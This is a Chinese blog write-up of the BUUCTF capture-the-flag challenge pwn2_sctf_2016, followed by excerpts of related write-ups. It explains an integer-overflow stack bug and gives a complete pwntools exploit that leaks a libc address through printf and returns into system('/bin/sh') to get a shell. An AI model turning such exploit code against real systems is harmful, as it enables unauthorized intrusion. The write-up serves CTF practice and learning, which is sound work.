代码编织梦想

checksec

在这里插入图片描述

run

在这里插入图片描述

ida

在这里插入图片描述

在这里插入图片描述

在程序中搜索既没有system又没有bin/sh,所以明显的rop

nptr处可以使用整数溢出构造rop

然后可以利用printf函数来泄露程序的libc版本

覆盖返回地址执行system来getshell

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
elf = ELF("./pwn2")
local = 0
if local:
    r = process("./pwn2")
else:
    r = remote("node4.buuoj.cn",25331)
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.symbols['main']

r.recvuntil("How many bytes do you want me to read?")
r.sendline("-1")

leak_payload = b'a'*(0x2C+0x4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)
r.recvuntil("data!\n")
r.sendline(leak_payload)
r.recvuntil("\n")
printf_addr = u32(r.recv(4))
log.success("the printf_addr is " + hex(printf_addr))
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
str_bin_sh_addr= libc_base + libc.dump('str_bin_sh')

r.recvuntil("How many bytes do you want me to read?")
r.sendline("-1")
r.recvuntil("data!\n")
payload = b'a'*(0x2C+0x4)+p32(system_addr)+p32(main_addr)+p32(str_bin_sh_addr)
r.sendline(payload)
r.interactive()
    

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_53809201/article/details/123601467

BUUCTF pwn pwn2_sctf_2016-爱代码爱编程

0x01 分析   0x02 运行  程序读入一个长度,然后按照长度读入后面输入的data并回显。   0x03 IDA  数据长度被限制为32,无法溢出,接着查看get_n函数。  接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。  

BUUCTF-pwn2_sctf_2016-爱代码爱编程

这题利用的是负数转无符号数造成缓冲区溢出,以及泄露libc基地址执行ROP 题目分析 由于NX开启,我们考虑使用ROP,Canary没有打开使得这题变得很方便 下面是vuln函数: 在该函数中,程序读入一个字符串并转化为带符号整形(signed int),这时,如果我们输入负数可以避开不能大于32的检查 在get_n函数中,读入长度被强制转换为uns

[BUUCTF]PWN4——pwn1_sctf_2016-爱代码爱编程

[BUUCTF]PWN4——pwn1_sctf_2016 题目网址:https://buuoj.cn/challenges#pwn1_sctf_2016 步骤: 例行检查,32位,开启nx(堆栈不可执行)保护,就是说我们没法往堆栈上写东西 nc一下看看输入点的字符串 用32位ida打开附件,shift+f12查看一下程序里的字符串,看到了比较敏感的“c

buuctf-pwn1 sctf 2016-爱代码爱编程

拿到文件后checksec一下,发现开启了NX保护,说明堆栈不可执行,那我们就不能向堆栈上写东西。 查看一下程序main()函数调用了vuln()函数,查看一下此函数有没有什么漏洞可以利用,enmenm,发现代码很多不知道什么意思(太菜了太菜了),好好看看这些代码到底啥意思吧~~,部分代码注释如下: 本来看到代码5处,想着能通过向缓冲区S中写入数据,利用

[BUUCTF-pwn]——pwn1_sctf_2016-爱代码爱编程

[BUUCTF-pwn]——pwn1_sctf_2016 题目地址:https://buuoj.cn/challenges#pwn1_sctf_2016题目: 话不多说,先下载下来再说。 在Linux上 checksec一下,发现开启了NX保护,但是没有开启Stack的保护,也就是说我们可以很轻易的利用栈溢出。 在window的IDA上反汇编看下源码,额

[BUUCTF-pwn]——pwn2_sctf_2016-爱代码爱编程

[BUUCTF-pwn]——pwn2_sctf_2016 题目地址: https://buuoj.cn/challenges#pwn2_sctf_2016老规矩还是先checksec一下, 在IDA中看看, 这个get_n(a, b)的作用就是读入 b 个字符。将其合成的字符串赋值给a。 最常用的方法,也是我经常使用的方法就是利用 libc库 计算偏移

buuctf pwn1_sctf_2016-爱代码爱编程

checksec一下子,开了NX保护,栈不可执行. 拖进ida,看vuln()函数: 给s分配了0x3C空间的内存,但是只允许输入32个字节 但是“you”会把“I”替换掉,所以只要输入20个“I”,替换之后,输入的字符就变成了60个字节,就可以写到栈底从而把ebp覆盖掉,到达eip的地方。 20个”I“,加上需要覆盖的ebp的四个字节,加上覆盖到ei

[PWN] BUUCTF pwn2_sctf_2016(整数溢出+泄露libc)-爱代码爱编程

[PWN] BUUCTF pwn2_sctf_2016 解题分析漏洞利用payload分析payload1payload2 解题分析 按照惯例先checksec,开了nx保护和部分RELRO 接着运行文件,观察程序的运行逻辑,读入一个长度len然后把输入的字符,再打印输入的Len个字符 32位IDA打开文件,main函数调用了vuln()

BUUCTF|PWN-pwn1_sctf_2016-WP-爱代码爱编程

1、下载文件并开启靶机 2、在Linux中查看该文件信息 checksec pwn1_sctf_2016 3、该文件是62为文件,我们用32为IDA打开该文件 3.1、shift+f12查看关键字符串 3.2、双击关键字符串,ctrl+x查看cat flag.txt地址   3.3、F5进入main函数反编译代码区

BUUCTF-pwn2_sctf_2016(整数溢出+泄露libc)-爱代码爱编程

32位开启了nx保护没有看到system和‘/bin/sh’,开启了NX保护,是泄露libc类型的题目 main函数就调用了一个vuln函数7行的输入函数不是get,是程序自定义的函数get_n a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果(整数溢出)

一文解读,网络安全行业人才需求情况《网络安全产业人才发展报告》-爱代码爱编程

随着近几天国家网络安全宣传周在全国各地开展活动,网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里,惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何?该怎么提升自我能力,更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。   一、网络安全行业

BUUCTF pwn1_sctf_2016-爱代码爱编程

拿到文件先checksec,32位的文件,并且只开启了NX保护 查看main函数 没有什么东西,双击进入vuln() 通过代码可以知道我们输入的I都会被replace函数替换为you 而且s的长度为0x3c,也就是60个字节,可我们最多能够输入32个字符 所以需要输入20个I来填充0x3c这个长度 紧接着

BUUCTF Pwn pwn1_sctf_2016-爱代码爱编程

BUUCTF Pwn pwn1_sctf_2016 1.题目下载地址2.checksec检查保护3.IDA分析4.看一下栈大小5.找到后门函数地址6.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 运行一下看看 3.IDA分析 看一下伪代码 int vuln() { const char *v0; //

Web安全工具—WireShark使用(持续更新)-爱代码爱编程

Web安全工具—WireShark使用(持续更新) 简介:WireShark是当前非常流行和厉害的网络封包分析工具,可以截取各种网络数据包,并显示数据包详细信息,不仅常用于测试过程中定位问题,更在网络故障定位,Web渗透中随处可见。 wireshark工具原理介绍: 提要:因为有很多文章都介绍了Wireshark的使用方法,常见过滤表达式,但是很多人

BUUCTF Pwn pwn2_sctf_2016-爱代码爱编程

BUUCTF Pwn pwn2_sctf_2016 1.checksec2.IDA32 vuln函数漏洞利用3.exp1.checksec 没有canary,方便溢出没有PIE,构造ROP会方便很多2.IDA32 vuln函数 int vuln() { char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYR

[buuctf-爱代码爱编程

一个简单的溢出,弄这么乱。 代码很多又是静态编辑,好多代码看不明白,于是先建两个块试试。建块输入全长后发现content不见了,再建小块发现问题: content是变长的 基本数据块结构: 下一块地址指针:4字节id号:1字节name:31字节1字节0title:63字节1字节0context 结束后空4字节即为下块 基本思路: 先建两个块con